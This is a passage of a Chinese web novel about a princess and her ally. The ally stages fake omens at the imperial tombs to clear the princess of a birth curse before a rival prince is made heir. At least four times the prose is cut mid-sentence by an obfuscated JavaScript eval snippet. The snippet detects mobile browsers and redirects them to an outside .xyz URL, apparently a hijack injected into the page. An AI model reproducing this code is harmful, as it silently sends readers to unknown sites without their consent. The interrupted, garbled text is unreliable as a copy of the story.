当你的欲望开始觉醒,并引导你做出属于自己的选择,无论这种选择是大还是小。哪怕小到只是选择今天穿什么衣服,选择自己这一天的时间该如何度过,一旦有了主体性,这个女人就很难再被摆布了。 而这样的昭离,正是顾云铮所痴迷的。 换句话说,他不是痴迷于昭离这个人,而是痴迷于昭离背后所代表的军功、荣耀、权力……因为那都是顾云铮最渴望的东西。 顾云铮此刻的「爱」在姜婋眼中,更像是对原小说中那个自己的爱。 如果昭离没有这些东西,顾云铮还会如此迷恋她吗? 这答案显而易见。 * 廊下,顾云铮陷入沉思:“我想赔礼道歉,可不知该送什么,况且公主什么都不缺。你同她亲近些,可知她喜欢什么?” 姜婋心道:“这人又来白嫖我的创意?” 她将勺子插进碗里,抬头看他:“哥,你个七尺男儿,一代将军,竟连如何送礼道歉都要问我?” 顾云铮愣住,半晌答不上话。 他自小所受的教育,皆是军伍章法,领兵战策,如何与男人建立关系,从没有一门课教他如何与女子相处。 女人对他而言,不过是待价而沽的联姻工具,无需讨好,不需奉承。 婚姻一事,只要门当户对,再备一笔厚礼,娶回家便是。之后就是这女人如何取悦自己,他从来没想过自己有一天要学习,如何去得到一个女人的爱…… 这是顾云铮从未学过的课题,恐怕也是所有男人都没学过的。 * 顾云铮低头苦思:“我倒是想送她我最珍贵的东西,那便是顾家枪法,可这枪法,历来传男不传女……” 姜婋都无语了:“你还真是思路清奇,都这时候了还想着传男不传女呢?” 她叹了口气,试图引导:“你仔细想想,你是因何得罪了公主?” 因“春药”二字难以说出口,顾云铮讪讪道:“……中毒。” “那就送个能防毒的东西呀!” 姜婋好心提示:“比如试毒的银镯子、或者解毒的药粉,既表达歉意又能让公主防身嘛。” 顾云铮眼神一亮:“好主意!多亏你的提醒,我这就去备礼。”说罢,拔腿便走。 * 看着他急匆匆的背影,姜婋无奈摇头。 忽然,系统的声音响起:“玩家,没想到,你人还怪好的呢。” 姜婋吃着冷丸子,嘟囔道:“我这不是怕他送错了东西,又来烦我,干脆一劳永逸送佛送到西嘛。况且他也不是男主角了,对我没什么威胁,昭离的心早已不在他这里了。” 系统问:“那你觉得,女主的心在何处?” 姜婋抿唇一笑:“当然在她的权柄与天下。” 系统:“……” 姜婋得意道:“我最近正在筹划,如何让昭离洗清那出生之日不祥天象的传言呢。” 系统:“本系统发现,你们人类有时聪明,有时愚蠢。” 姜婋以为系统在说顾云铮,便道:“是啊,我以前也没发现顾云铮这么笨,连送礼物都要来问我。对了,我正巧也有一物要还给昭离,还得劳烦他一道捎去。” * 朝华宫中,春意正浓。 宫女们将一只包裹精致的礼盒送了进来,只见这礼盒外缠丝绦绸缎,角落压着一方紫檀木制的小签,写着:“顾云铮敬上。” 昭离拆开礼盒,里面还附了一封道歉信。 盒中之物摆放得极为妥帖,一层薄纱之下,静卧着几件银质首饰。 但见:孤雁衔芦,鲤鱼戏荷、寒梅料峭……样式做工无比精巧,且都是能试毒的材质,可见其用心。 昭离随手翻看,不经意间,发现盒底有一柄熟悉的兽骨匕首。 正是在风沙渡集市,她与姜婋射箭时赢下的奖品。 当时砍宰牙头颅之时,她用力过猛,令这刀刃磨损,之后她便托姜婋寻个巧匠修复,谁知竟这么快就修好了。不但刀刃更加锋利,还在刀柄包了一层鲛鱼皮,握感更胜从前。 昭离试了几下,泛起笑意:“还是婋婋的礼物更得我心。” 窗外风起,一片花瓣轻落在刀背。 蓦地,昭离想起在风沙渡集市之时,婋婋教自己射箭,让她明白“豆烛盈辉”之理。 如今想来,自己走的每一步,都不曾在意料之中,那一豆烛火的光辉,照亮范围越来越大了…… * 她正沉浸在回忆之中,忽听殿外官人通传:“禀告公主殿下,侯爷赵湛求见。” 昭离收回思绪:“让他进来。” 片刻后,只见赵湛风风火火奔入殿中,他一见昭离便作揖道:“公主殿下,小侯失礼了。今日冒昧上门,是有一事相求。” “何事?” “那日小公主寿宴上,我误喝了茶酒,得罪了顾娘子,实在罪过。我备了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵湛殷勤道:“这是我的赔礼,你看看还满意吗?” 他连忙命人抬上食盒,打开的瞬间一股香气直冲鼻端。 只见盒中分列整齐,皆是姜婋素日爱吃的,有曹婆婆牛肉饼、七宝五味羹、宋娘子的荔枝糕、樊楼玉髓……连阮记的冰雪冷丸子也不落下,还是双份的。 姜婋暗道,这些肯定不是赵湛准备的,能了解我口味喜好,一甜一咸,连分量都拿捏得这般精准,不是昭离,还能是谁? 她想到此处,不觉唇角一扬:“这礼我就收下了,你回去替我谢谢你背后的那位‘高人’,就说……我心领了。” 赵湛一愣:“你怎么知道是公主殿下的主意?” 这时,顾云铮恰巧快步路过门前,听见“公主”二字,立刻如巴普洛夫的狗,上前拉住赵湛问道:“小侯爷,可是刚从朝华宫来?” 赵湛点头:“是啊,怎么了?” 顾云铮一听,将他拉到一旁,小声问道:“你瞧着公主殿下,今日心情如何?” 赵湛挠头回忆:“挺好的啊,我见她把玩着一柄匕首,爱不释手的……” 顾云铮反问:“你确定是匕首?不是银钗首饰?” “什么首饰?”赵湛摇头,“我没瞧见啊……” 姜婋听得分明,嘴角笑意止不住上扬,自己与公主虽一日未见,却由这两位“快递员”,一来一回,误打误撞,相互传递了心意。 她舀了一勺冰雪冷丸子,含在嘴里,竟觉得比之前吃的那碗更甜了。 * 【作者小啰嗦】 标题来自——瓦莱丽·莱因《父权制应激障碍》 51.26 转眼间,先皇后的忌日已近。 因为今年有了母丧改期的国令,所以先皇后的忌日将在皇陵举行。 皇帝赵柟也将出席,顺势祭祀自己的母亲薄太后,一时间,宫中上下都在为祭典做准备。 * 这日朝华宫中,昭离与姜婋正对坐学习。 所谓的学习,是姜婋和系统为昭离量身定制的——“母君培养计划”。 分为十几门课程,包括女性权利、君权史鉴、谋略兵法、财政赋税、律法典章、用人之道…… 两人正读到大昭先祖历史时,宫人轻步入殿,捧上一袭素白孝服,禀告道:“祭礼在即,孝服已备,请公主试穿。” 姜婋抬眼看去,问道:“有我的吗?” 昭离笑道:“那是自然。我早命人一并为你裁了,只是,其实你本不必随行的……” 姜婋起身:“这样重要的日子,我怎能不陪你呢?” 昭离的指腹摩挲过素白的孝服,感慨道:“我与生母,从未谋面。我出生那日,便是我们永别之时。细细想来,母亲之所以早逝,家族之所以覆灭,皆因我出生之日‘天狗噬日’的诅咒,才令父皇与母后生疑,酿下祸端……” 姜婋皱眉问道:“当年到底是何事,令皇帝竟一怒之下,让先皇后全家满门抄斩? 昭离语气微冷:“当时朝中有谗臣进言,说我祖父在故乡的陵墓建有九龙石柱,那九龙石柱,乃是天子陵墓的规格,这犯了僭越大忌。更有人趁机污蔑祖父图谋不轨。父皇盛怒之下,未及查验,便降罪了。” 她叹息一声:“后来才查明,那所谓‘九龙石柱’,不过是几株盘根错节的老树罢了。” “这也太荒唐了吧!皇帝犯下如此大错,那要如何收场?” 昭离表情微动:“父皇虽有失察之过,但也是被佞臣挑拨所致。后来那进谗之人,诛其九族,便算结案。此事知情者甚少,若非干娘临终前告之,我也无法窥见内情。” 姜婋听出昭离言辞中仍有对老皇帝的维护,她意味深长道:“可弄权小人竟敢挑拨帝后关系,未尝不是得了上位者的授意。否则他不是自寻死路吗?” 昭离忙辩解道:“父皇和母后情深意笃,若不是我出生之时的天象……” “你千万别将过错揽在自己身上!” 姜婋道:“什么‘九龙石柱’,什么‘天狗噬日’,不过就是几棵树和日食罢了。对了,当年那天象不祥的传言,你可知传自何处?” 昭离拿起书册,翻到其中一页:“你看,这本书记录的正是大昭先祖的历史,传闻先祖留下一块天命石碑,那碑上刻有谶语——” “天狗噬日,血光染天。阴阳失衡,幽魇临宫。凶星坠世,其子忌也。” 姜婋忙问:“那石碑如今何在?” “应当仍供奉在皇陵之中。” 昭离奇怪,“怎么了?你为何突然对这事如此上心?” 姜婋含而不露道:“这几日,我正琢磨着一件事,想着如何能破了你出生之日不祥天象的诅咒。” “那诅咒不是自我回兴都后,便无人再提了吗?” 姜婋摇了摇头:“那是因为你有功于社稷,杀宰牙、灭依兹,如今风头正盛,众人不敢妄言。但若有朝一日风向突变,就未可知了……” 昭离问道:“可这件事已过去那么多年,你又如何破解呢?” 姜婋眼眸一动:“自然是——用魔法打败魔法喽!” * 祭祀大典之日,天未破晓,皇宫仪仗队已浩浩荡荡启程,往皇陵而去。 昭离与姜婋同乘一车,她低声问道:“你前几日说,今日要赠我一份大礼。究竟是何物?” 姜婋倚在车上,闭目小憩:“你只管祭奠先皇后,其余的事,交给我便是。” 昭离眼中虽有疑色,但看姜婋一脸笃定,便也没有过问。 * 日出之际,队伍已至城郊。 大昭皇陵依山而建,传闻此地风水为龙脉所聚,但皇陵讲究背有靠山,因此太祖当年特意命人用石土堆砌成一座假山。 皇陵庙宇前,金钟缓鸣,哀乐低回。 依礼仪所序,先由皇帝赵柟祭薄太后。 他跪于牌位前,低声念诵祭文,念至“生养之恩未报,奈何天人永隔”时,竟潸然泪下,哽咽难语。 媚皇后连忙上前扶他,百官皆垂首以示哀悼。 姜婋见状腹诽:“这老皇帝若是真孝顺,他自己怎么不改母丧期为三年呢?” 她实在懒得看这种装大孝子的戏码,便悄然转身走出祭堂,望向日出的方向,心中默数时辰,嘴角浮出一丝不易察觉的笑意。 * 这边,祭奠完薄太后,接下来是先皇后了。 礼官高声宣道:“请昭离公主,祭先皇后。” 昭离一身缟素,踏入祭堂。 她跪于牌位前,执香起拜,跪地半晌后,才终于缓缓起身,低声哽咽道: “臣女昭离,今日特来祭拜母亲。我们母女虽未曾谋面,然女儿不曾一日忘恩,若有来世,愿再为人女,亲侍膝下……” 就在她祭礼甫毕之时,祭堂外忽闻轰然巨响! 顷刻间,整个皇陵地动山摇,内侍纷纷跌倒,众臣奔走四散。 “地……地震了?”老皇帝惊呼。 媚皇后脸色骤变,护着赵柟退避:“护驾!护驾!” “发生何事了?” 昭离说话间踉跄欲倒,姜婋却从容地扶她站稳,低声道:“别怕,好戏才刚开场呢。” * 众人奔出庙堂,却见陵前地面赫然裂开一道深缝,尘土飞扬中,一块古碑破土而出,碑身斑驳,却隐隐可见上古金文。 随着古碑出现,地动骤停,霎时四野寂然。 众臣围至碑前,惊呼道: “这不正是大昭先祖遗落的‘天命石碑’吗?” “没想到,那上古预言竟还有后半段!” 皇帝闻言,率众人走近石碑,却见碑上刻着: “若其为女,命带紫微,可逆天狗噬日之危。暗极生辉,天命所归,为昭国之瑞女也。” 皇帝见此眯眼思忖,脑中拼凑起整块石碑的预言: “天狗噬日,血光染天。阴阳失衡,幽魇临宫。凶星坠世,其子忌也。” “若其为女,命带紫微,可逆天狗噬日之危。暗极生辉,天命所归,为昭国之瑞女也。” 忽然,百官议论起来: “这天命石碑早年间只出现半块,如今竟出现了后半块,可见是我大昭先祖显灵了!” “那依石碑之言,天狗噬日,生儿子为凶星坠世,若是女儿,则是紫微星转世……” “昭离公主乃是昭国之瑞女啊!” 就在群臣议论纷纷之际,却见远处云层翻涌,一道七彩祥光自天而降,不偏不倚,正洒落在昭离身上。 众人齐声呼道:“此乃天降祥瑞!” 霞光流转之间,远处云雾之中,一只五彩神鹿踏云而出,鹿角上竟生五色奇花。 只见那鹿缓缓行来,目若点星,温驯无惧,竟向昭离轻轻颔首。 “这难道是……传说中西王母座下的神鹿?” 有人惊呼出声,众人立刻跪地膜拜。 昭离怔怔望着那神鹿,通过它的眼神认出—— 这正是她在西陲放生的那只梅花鹿,可是它……怎么变成了五彩神鹿? 那神鹿回首一望,下一秒就随七彩祥云一并遁入天穹,消散于视线之中。 天地重归寂静,众人犹在震惊中,久久不能言语。 媚皇后的神色越发森冷,望向昭离的眼神中第一次出现真正的忌惮。 而一边的皇帝赵柟却神情复杂,唤道:“来人啊,将此碑带回皇宫。” 一众随从浩浩荡荡摆驾而去。 昭离静立原地,对刚才发生的一切有些恍惚。 姜婋走近,低声笑道:“公主殿下,这份大礼你可还满意?” * 祭祀队伍从皇陵返回皇宫,昭离憋了一路,早已疑窦丛生,回到朝华宫后立刻遣退宫人。 她拉着姜婋,神色紧张问道:“你与我说实话,今日究竟是怎么回事?” 姜婋朗声笑道:“我说过,这礼物叫,用魔法打败魔法。” 昭离忙问:“今日皇陵地动山摇,好似地震一般,你是如何做到的?” 姜婋道:“我一早命苍狼军在皇陵另一侧的山上埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934185|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了火药,选定吉时引爆。这山本就为人力堆砌,石土不牢,那边山石一滚,这边自然声势骇人。再加上空谷回响,自有天崩地裂之势。况且这祭典上,人又多又杂,只要有少数人被吓到,这惊恐便会蔓延放大。” 昭离点了点头,又问:“那……天边的七彩祥云,又是如何出现的?” 姜婋扬眉得意:“用的不过是数十块五色琉璃片,安在精心设好的角架之上,借助反射,再洒些金粉细烟,便能造出绚烂光晕。这叫——人工彩虹。” 昭离又问:“那五彩神鹿,可是伴我和亲的那只?” “正是!” 姜婋语气感慨:“没想到,那小鹿竟然跟着我们一路回到了兴都。正巧皇陵静谧,水草丰茂,无人打扰,它便留于陵山。我发现它后,便用颜料和花朵将其装饰一番。至于仙气飘飘嘛,我是用了回夏巫珠送我们的贺兰玄冰,外加熏香烟气,反正离得远,他们也看不清嘛。” 昭离喃喃:“原来如此,那小鹿还记得我……” “或许这便是所谓的善缘未断。它知有一日要报恩,便悄然随你而归。它可真是派上了大用场!” 昭离屏息良久,又问:“那地面的裂缝呢?莫非也是你提前挖好的?” 姜婋捻起茶盏,语气悠然:“不错。我让苍狼军提前两日掘出裂痕,再覆以活土青草。等火药一响,拉开草皮,造成地震裂痕的假象。” “可是,皇陵为禁地,你们竟能来去自如?” 姜婋咕嘟一口饮尽,笑道:“你可知道,小侯爷赵湛的父亲——素怀侯,就负责守皇陵,我趁着他玩忽职守的时候溜进来的。赵湛那家伙虽不中用,此事他倒是派上了些用处。” 昭离更是震惊:“那块石碑呢?你竟连那也能仿得惟妙惟肖?” 姜婋耸肩道:“我偷偷潜入供奉殿,寻得前半块真碑,依字摹刻后文,故意做了些风蚀痕迹,显得更有沧桑之感。” 昭离眼睛瞪大:“你还会这个?” 姜婋得意:“你当我在西陲那几年只学武艺吗?为了你,岐黄药理、仿古摹刻,我可是都学了。” 昭离心中一震,又问道:“可你怎知,这般布置能骗得了那么多人呢?” “人心最怕未知的恐惧,而恐惧恰恰会传染。” 姜婋解释道:“当时地动山摇,已经人心惶惶,其后异象接踵而至,大多数人来不及细思,等反应过来不对劲时,也无从查证了。况且皇帝最信天命,谁敢质疑?” 昭离点头,这才舒了口气稍稍放心,略带责备问:“那你为何不早告诉我,也好让我有所准备。” “你想准备什么?若你事先知情,怎会有那般震惊?你越是不知情,神情才越是自然,这场戏才能越真实。” 姜婋凝目看着她道:“昭离,从今往后,再也没有人能拿你出生之日的不祥天象诋毁你了,你现在是大昭的祥瑞!” 昭离久久无言,心中泛起波澜。 她只觉自己就像羽翼未丰的雏鸟,无论发生什么,婋婋总能将她稳稳托起。 “婋婋……你为何对我这般好?” 姜婋一怔,没太懂这句话。 昭离望着她,语气真挚:“你为我做的太多了,每一桩、每一件,你都不计回报,还甘冒风险,甚至不惜为我舍命……我有时都觉得,我不配得到这么多……” 姜婋心中酸涩,那熟悉的情绪袭来—— 她明白,那是许多女子被长久规训后的“不配得感”,仿佛这世间的好事都该让渡给他人,而非自己。 她握住昭离的手,眼神坚定而温柔:“你怎么会不配呢?今日种种虽是我有意安排,不过在我心中你就是天选之女,未来的母君。” “你真的这么相信我,会成为母君?” 这个问题,昭离曾多次问过,这次好似格外郑重。 姜婋再一次笃定答道:“我相信你。而你,更要相信你自己。” 这句话犹如焰硝,将昭离心中被压抑的那团烈火,燃烧的愈发凶猛炽热。 虽然昭离心知那石碑是假的,祥云是假的,连神鹿也不过是涂彩装饰的…… 可即便如此,她却开始真的相信—— 她命带紫微,是天命所归,乃昭国之瑞女也。 52.27 皇陵异象之事,当日在场的官员、侍卫与宫人,虽被下旨封口,却终究没有密不透风的墙,昭离命带紫薇的神谕,悄然流传开来。 深夜,长生观内,灯影绰约。 皇帝赵柟独坐于案前,案上并排放着两块石碑残片,他目光如炬,缓缓逡巡,时而眯眼蹙眉,时而轻抚碑面,神情莫测。 一旁,正在煮茶的媚皇后问道:“圣上,您盯这石碑许久,可是发现了什么不妥之处?” 赵柟轻抚胡须:“这两块石碑出现时隔数载,就算断裂边缘稍有差异,也是因风雨侵蚀……朕只是忧心,倘若这后半碑是真,那这么多年真是委屈昭离了。” 媚皇后闻言,心底冷笑:“圣上这话说得真是滴水不漏,他自己心中起疑,却不肯明说。丑话非要让我来说,可我若说了,便落了他话柄……我才不中计呢。” 她微一思忖,顺着皇帝的心思说道:“公主当年因‘天狗噬日’之象蒙冤,虽经磨难,然也算因祸得福,何尝不是一番历练呢。况且,当初之事并非圣上之过,又何须多虑?” 赵柟点头,这便是他想听的话——不是朕的错。 他又问:“只是今日那七彩祥云与五色神鹿,着实令朕大开眼界,皇后如何看?” 媚皇后心中一凛,她虽略晓天象,但今日皇陵所见,实在玄妙非常。 就算祥云能作假,那鹿也做不了假,更别说那只神鹿,竟在众目睽睽之下朝昭离低头颔首,颇有通灵之意…… 她不敢妄断,只道:“臣妾浅陋,不敢妄评天机。” 赵柟沉声道:“看来,明日得召张天师觐见。”说着忽然想起什么,又问,“对了,祐儿近来如何?” 媚皇后警觉起来,回道:“六皇子勤学不辍,近日太傅频频称赞,说他心志渐稳,已有储君之风。” 赵柟闻言,眉目舒展,龙颜稍霁。 * 夜过三更,仁寿宫外,一人身披斗篷,悄然而入。 深宫密室之中,一道纤细身影已等候多时,正是媚皇后。 她点燃一盏烛火,幽幽道:“明日圣上要召你觐见,你可知该如何回话?” 跳跃的烛光中,来人摘下斗篷兜帽,露出一张清癯的面庞,正是张天师。 他拱手俯身,声音低沉:“还请娘娘示下。” 媚皇后走至灯前,灯影投在她眉眼间,神色不怒自威。 “圣上疑心深重,心思最难揣测。如今大昭国泰民安,风调雨顺,多亏一直以来,本宫与张天师内外辅佐圣上,可自打昭离公主回来,这份平衡便被打乱。今日在皇陵中,竟出现上古石碑,说昭离公主命带紫薇,乃是天命所归……” 张天师立刻表态:“此乃一派胡言!自古天命所归,唯太子也。” 媚皇后露出一丝笑容:“张天师,你可是家父昔年最得意的门生。只可惜一次科场冤案,断送了你的仕途。” 张天师恭敬道:“娘娘知遇之恩,小人铭感五内。” 媚皇后转身,大袖一挥:“你不必谢我。明日皇帝问起,你只需告诉他,谁才是真正的天命所归。” 张天师肃然躬身:“小人明白。” * 翌日清晨,朝华宫内晨雾未散,姜婋照例早早进宫,与昭离一同学习“母君培养计划”。 这些日子正讲到水利农政篇,研究突发事件的应对之策。 可今日昭离翻着案几上的策论,却眼神游离,一脸心不在焉的模样。 姜婋放下手中文卷,侧目问:“你今日怎么这般魂不守舍?” 昭离低声道:“昨日皇陵之事,我也没有细细深究,如今一觉醒来,反倒觉得惴惴不安。我们那般‘造神’,是不是太过了?你说父皇会不会起疑心?” 姜婋坦然道:“你父皇又没傻透,肯定会啊。” 昭离诧然:“那你为何还要那么做?” 姜婋慢条斯理地剥了一瓣橘子,含入口中道:“如今这局势,正如两方对峙的棋局,我们总不能跟皇帝都按兵不动吧?若想制胜,唯有出奇招,这样才能让对方露出破绽,我们才能扭转局势。” “所以你是故意刺激父皇?” “不错。此举一箭三雕!” 姜婋解释道:“一来,能洗去你‘天象不祥’的污名;二来,让天下人知道你是紫微星降世,乃天命所归;三来嘛,自然是逼对手走下一步棋。” “那你猜,父皇会如何应对?” 姜婋摇头:“这还真不好说……” * 二人正说着,有宫人禀报:“小侯爷求见。” 昭离与姜婋对视一眼,俱觉有异。 昭离道:“宣他进来。” 赵湛步履轻快而入,朝昭离一揖:“参见公主殿下。” 他目光一瞥,顿时笑意盈盈:“顾、顾娘子也在啊,真巧,真巧!” “我看这也不是巧合吧?” 姜婋虽不待见赵湛,但因之前皇陵的事,多亏套出他的话,才能完成计划,所以她面上还是挂着假笑。 赵湛憨憨一笑,眼神时不时往姜婋那边瞟去。 昭离见他对姜婋眉目传情,忙出声打断:“小侯爷今日怎突然来了?” 赵湛躬身答道:“家父今早突然被召入宫,我便随他一同来了,想着顺道来向殿下问安。” 姜婋顿时警惕:“素怀侯不是驻守皇陵吗?何故突然入宫?” “是啊,我父亲也奇怪呢,一早还跟我嘀咕,说是圣上找所有的宗亲有事要商量……” 赵湛特意压低声道:“恐怕多半与册立太子有关。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944531|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 昭离当即变色:“你没听错吧?如今父皇龙体康健,为何要仓促立太子?” 赵湛挠挠头:“谁知道呢?毕竟圣心难测。可能是因为咱们圣上的身体时好时坏吧……呸呸,当我没说……” 一番寒暄后,两人送走了赵湛。 * 昭离顿时慌了心神:“父皇突然要立太子,难道是因为昨日之事?……难道是为了警惕我?” 姜婋点头:“极有可能。对手慌不择路,就出了一记昏招,这对我们来说是好事。” 昭离诧异:“立太子是好事?” “对啊。” 姜婋说着,从案上拿起一只熟透的梨,又拈起一颗桃,示意道: “你想啊,原本朝中有两股势力:一是皇权,一是后权。但是媚皇后碍于后宫不得干政,一直将赵祐牢牢攥在手心,借此影响朝局。” 她又拿起一颗甜枣,放在梨、桃之间:“如今皇帝要立东宫,意味着太子的势力将独立而出,原本的后权会被分裂弱化。毕竟朝中许多支持皇后的人,大多数都是因为未来的太子,效忠皇后便等于效忠新君。所以一旦太子的力量被分裂出来,这朝堂原本的格局就不稳了。” 姜婋说着,把代表皇后势力的桃子掰成两半,拿起一半,狠狠咬了一口。 昭离犹疑道:“可若后权削弱,是否也说明众臣更难接受女子当政,那我岂不是更无望了?” 姜婋倏地正色:“昭离,你和媚皇后可不一样。她是要当太后,垂帘听政,用帘子控制儿子。你可是要亲自坐上那把龙椅,你并不需要这帘子。” “有没有这层垂帘,差别很大吗?” “当然!” 姜婋掷地有声道:“这垂帘,对于想捅破的人来说,自然有想捅破的法子,但对于不想捅破的人,一辈子也想不到要把这帘子给掀了。媚皇后之谋,是旧规内的博弈;而你要走的路,是创立新规则。” 昭离沉默半晌,突然反应过来问道:“听你这么说,你似乎根本不担心太子的力量。” 姜婋微微一愣,咬了口桃子道:“赵祐年纪尚小,况且他根本不是这块料,不足为惧……” 话虽如此,可昭离心中仍旧惴惴不安。 * 数日后,一道圣旨颁下: “朕自登基以来,惟愿社稷安宁,百姓安乐。今六皇子赵祐,聪慧恭谨,品行端正,深得朕心。特立为皇太子,居东宫,总百官之教,习万机之事。” 一时间,朝堂震动。 百姓茶余饭后议论的主题,也从“昭离公主紫微星降世”,变成了“神童太子”。据说,太子一岁便能识字,三岁吟诗,六岁通典…… 转眼间,昭离公主成了昨日旧话。 而太子赵祐,显然成了新的天命所归。 53.28 太子册封前夜,姜婋奉诏入宫。 朝华宫灯影昏黄,昭离独坐案前,面色清减,似是被忧思磨蚀了神采。 姜婋故意开玩笑,试图逗乐她:“怎么,东宫设立在即,朝华宫连膳食都不给了吗?瞧你,都瘦了一圈。” 昭离眼中已无神采:“我费尽全力……终不敌父皇一纸诏令。” “你不需在意。” 姜婋坐在案前,将书卷放到她面前:“咱们上次学到如何应对水、旱、蝗灾,你可有什么新方法?” 昭离却将书卷推开,一脸摆烂之色:“明日六皇子就是太子了,我学这些又有何用?” 见此,姜婋脸色倏地严肃起来:“昭离,你的目标是什么?” 听她这么一问,昭离知道不容小觑,但仍有气无力道:“成为母君,可如今看来,不过是我痴人说梦罢了……” “你就这么不相信自己吗?” 姜婋恨铁不成钢地看着她:“我以为经历了这么多,你早已坚定了信念,没想到一个十岁的顽童,就把你击垮了。既然如此,那你跟我去一个地方!” 昭离怔了怔:“去哪?” 姜婋不由分说地拉起她的手:“随我来——” * 夜色沉沉,两人一路登上城墙。 因太子册立的喜讯,兴都取消宵禁三日,整座都城灯火通明,犹如天上银河。 昭离一脸困惑:“你带我来这里做什么?” 姜婋望着城外:“既然你觉得成为‘母君’只是妄念,那我们就不做母君了。反正天大地大,你是想随我去西陲放羊,还是想让我陪你回湖州打渔?我都听你的!” 昭离一愣,语气明显慌了:“真、真的吗?” 姜婋语气洒脱:“真的。你若不愿走这条路,我逼你也无用。人生之路也并不只有一条,除了牧羊女、打渔姑,你还想做什么,我都奉陪到底。” 可昭离却没有她那般洒脱,若是轻言放弃,不就是将过往经历的挣扎与付出,都一并作废了吗? 她有些无措道:“可你曾说过——若这天子让百姓如履薄冰,那无论是牧羊女、打渔姑,还是公主……终究都逃不过‘工具’二字的命运。” 姜婋神情微沉:“你既然记得这句话,那你还记得我跟你说过的‘豆烛盈辉’之理吗?” “我当然记得。” * 姜婋从怀中取出火折子,拧开铜管,轻吹几下。 “嗤”的一声,一豆火光跳跃而起,映亮了她们的面庞,也照亮了夜色下的一隅天地。 她缓缓问道:“昭离,在西陲之时,你为了摆脱和亲献祭的命运,连异族首领宰牙都不曾畏惧,为何如今却会害怕一个十岁的赵祐?” 昭离沉默半晌:“因为当时面临的是生存危机,而眼下,我是看不清前路了……” 姜婋将火折子递给她:“只要心存火光,一定能照亮前路。” 她凝目看向昭离,一针见血道:“其实你不是不信自己,而是开始不信你父皇了,对吗?” 火光跳动,映得昭离眼神微颤,仿佛被说中了心中所想。 “因为你不相信你父皇会把皇位传给你,所以你才觉得自己所做的一切努力都没有了意义,对吗?” 昭离终于点头,声音颤抖道: “其实我一直对父皇抱有期待,因为他说过,我是他最宠爱的女儿!当我将宰牙的头颅献给他时,他还说过,我是他最骄傲的女儿……我以为父皇会为我破一次例……哪怕只有一次……” 一阵夜风掠过,火苗被吹灭,周围再次归于黑暗。 姜婋沉了口气:“昭离,你父皇说的是——你是他最宠爱的‘女儿’,而不是‘最宠爱的孩子’。因为在他心中,女儿和儿子是不一样的。 “一个十岁的顽童,即便肆意妄为,没有任何功绩,也能得到你梦寐以求的太子之位。而你,舍命和亲,杀宰牙、灭依兹、换银州、救织女与百官、改母丧之法……却仍得不到你父皇的青睐,所以你很痛苦。” 黑暗中,昭离静静点头,终于承认了那个连自己都不敢直面的真相。 “昭离,你也看到了。你的父皇,他是不会主动下旨封你为皇太女,传位于你的。” 姜婋语气一凛:“因为大昭的皇权牌桌上,从来就没有女人的位置。你拼命挤进去,不过是在陪他们玩这场注定对你不公平的游戏。还不如掀了这桌子,重新立个规则!” 昭离呼吸一滞:“你是说我要谋反吗?” 姜婋语气铿锵:“不是谋反,而是弑父。” 昭离瞠目:“你是说……我要杀了父皇?” 姜婋沉声:“我说的弑父,不是让你杀了他,而是你在精神上必须要独立出来。” “你此次的崩溃,正是因为你还将自己的人生寄托在他的身上。你必须从你父皇那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951856|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一套父权逻辑中挣脱出来,不然,你永远只是个被他挑选的‘女儿’,而不是自己命运的主人。” 她说着,扶住昭离的肩头,一字一句道: “昭离,终有一日,你要自己破壳而出,不再做任何人羽翼下的雏鸟。任他风雨雷霆、万象倾覆,都不会改变你振翅翱翔的方向。” 昭离点了点头,但仍有迟疑:“可明日便是册封大典,东宫既立,我们未来的路,怕是更难了……” 姜婋沉口气,意有所指道:“皇权之路,自古九死一生,谁能走到最后,还未可知。况且你要走的,本就不是寻常的登基之路。你要知道,除了皇帝传位,还有民心所向,大势所趋,更有天命所选……” 昭离喃喃:“天命……” “对呀。运气也是一种天命。” 黑夜中,姜婋看着昭离发亮的眸子,问道:“你还记得,我们被回夏巫珠绑在木桩上生死一线的情景吗?你不是靠运气活下来的吗?你忘啦,你可是命带紫微,是天命所归,乃昭国之瑞女也。你怎么能轻言放弃呢?” 昭离释然一笑:“是啊,那么凶险万分的路,我都走过来了,怎么能在此刻止步呢?” 她说着,低头重新点燃火折子,火苗再次燃起。 